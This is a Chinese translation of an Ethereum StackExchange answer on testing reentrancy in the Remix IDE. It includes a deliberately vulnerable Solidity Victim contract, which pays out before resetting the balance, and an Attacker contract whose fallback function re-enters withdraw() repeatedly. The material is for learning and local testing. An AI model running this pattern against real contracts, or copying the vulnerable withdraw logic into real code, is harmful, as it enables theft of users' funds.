Solidity

在混音中測試重入攻擊

  • October 21, 2017

是否可以在 remix IDE 中測試可重入性?如果是這樣,有人可以提供一個如何做的例子。

這是一個重入攻擊的經典例子。您可以通過查看攻擊者合約的攻擊函式如何與受害者的提款函式互動、受害者用於發送乙太幣的函式以及攻擊者的回退函式如何反複呼叫受害者的提款函式來了解它是如何工作的。

您可以在 Remix 中通過部署受害者合約和攻擊者合約來測試這一點,並將受害者的地址作為輸入。

呼叫攻擊函式後,您可以通過記錄的事件來驗證重複提款。

您可以使用與攻擊函式類似的方法來測試與受害者的撤回函式具有相似模式的其他合約。

pragma solidity ^0.4.8;

contract Victim {

   uint public owedToAttacker;

   function Victim() {
       owedToAttacker =11;
   }

   function withdraw() {
       if (!msg.sender.call.value(owedToAttacker)()) revert(); 
       owedToAttacker = 0;
   }

   // deposit some funds for testing
   function deposit() payable {}

   function getBalance() public constant returns(uint) { return this.balance; }    
}

contract Attacker {

   Victim v;
   uint public count;

   event LogFallback(uint count, uint balance);

   function Attacker(address victim) payable {
       v = Victim(victim);
   }

   function attack() {
       v.withdraw();
   }

   function () payable {
       count++;
       LogFallback(count, this.balance);
       // crude stop before we run out of gas
       if(count < 30) v.withdraw();
   }

   function getBalance() public constant returns(uint) { return this.balance; }    

}

引用自:https://ethereum.stackexchange.com/questions/28945